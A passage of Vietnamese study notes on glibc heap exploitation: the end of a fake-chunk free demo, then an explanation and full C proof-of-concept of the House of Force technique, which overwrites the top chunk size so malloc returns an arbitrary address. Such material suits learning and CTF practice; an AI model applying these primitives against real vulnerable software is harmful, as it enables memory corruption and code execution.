	printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

	a = &fake_chunks[2];

	printf("Freeing the overwritten pointer.\n");
	free(a);

	printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	void *b = malloc(0x30);
	printf("malloc(0x30): %p\n", b);

	assert((long)b == (long)&fake_chunks[2]);
}

House of Force

  • là một kỹ thuật tấn công Top_chunk để lần malloc() sau đó trả về 1 con trỏ tuỳ ý
  • chỉ áp dụng cho các phiên bản libc < 2.29

why?

  • khi ta có khả năng ow được size của Top_chunk
    -> thay đổi thành 1 size cực đại (ví dụ)
  • thì lần request malloc() tiếp theo sẽ bỏ qua mmap mà lấy không gian ngoài heap

how?

  • để trả về ptr tuỳ ý mình muốn, phải xác định được offset (size) để malloc() ra
target = 0xdeadbeef
ptr_top = heap_base + offset

size = (target - ptr_top - 0x8*4) #64bit
size = (target - ptr_top - 0x4*4) #32bit
  • khi malloc() với lượng size được tính như trên thì sẽ trả về con trỏ tới Top_chunk
  • malloc() tiếp theo nữa sẽ trả về ptr ta muốn

examble

  • source: (lấy libc 2.27 mà run thử nhoé)
#include <stdio.h>
#include <stdlib.h>

unsigned long target;

int main(void)
{
    puts("So let's cover House of Force.");
    puts("With this Hose Attack, our goal is to get malloc to allocate a chunk outside of the heap.");
    puts("To do this, we will attack the wilderness value, which specifies how much space is left in the wilderness.");
    puts("The wilderness is space that has been mapped to the heap, yet has not been allocated yet.");
    puts("We will overwrite this value with a larger value, so we can get malloc to allocate space outside of the heap.");
    puts("Let's get started.\n");

    puts("Our goal will be to get malloc to return a pointer to the bss variable.");
    printf("Variable Address:\t%p\n\n", &target);


    puts("So let's start off by allocating a chunk. We will use this to set up the heap, and as a reference to overwrite the wilderness value.\n");
    unsigned long *ptr = malloc(0x10);

    puts("Now using some sort of bug, we can overwrite the wilderness value to a much larger value.");

    printf("Old Wilderness: 0x%lx\n", ptr[3]);

    ptr[3] = 0xffffffffffffffff;
    
    printf("New Wilderness: 0x%lx\n\n", ptr[3]);


    puts("Now that we have increased the wilderness value significantly, let's allocate some chunks.");
    puts("The first chunk will be massive, and will align the heap right up to the target address.");
    puts("Then when we allocate the second chunk, it will overlap directly with the target chunk.\n");


    puts("Now for how much space to allocate is pretty similar.");
    puts("It will be (targetAddress - wilderness - 0x20).");
    puts("Where targetAddress is the address we are trying to get malloc to allocate.");
    puts("The wilderness value is the address of the start of the value, which is the previous qword from the wilderness value.");
    puts("The 0x20 is four 4 qwords, because each of the two chunks takes 2 qwords (0x10 bytes) of space for the heap metadata.\n");

    unsigned long *wilderness = &ptr[2];
    unsigned long offset = (unsigned long)&target - (unsigned long)wilderness - sizeof(long)*4;


    printf("Target Address:\t\t%p\n", &target);
    printf("Wilderness Address:\t%p\n", wilderness);
    printf("Malloc Size:\t\t%lx\n\n", offset);
    printf("Now to allocate the first chunk.\n\n");

    unsigned long *chunk0, *chunk1;

    chunk0 = malloc(offset);

    printf("We can see that we allocated a chunk at:\t%p\n", chunk0);
    printf("With that the heap should be aligned so the next malloc gives us our target address.\n\n");
    chunk1 = malloc(0x10);

    printf("Chunk allocated at:\t%p\n\n", chunk1);

    puts("With that, we got our target chunk!");
}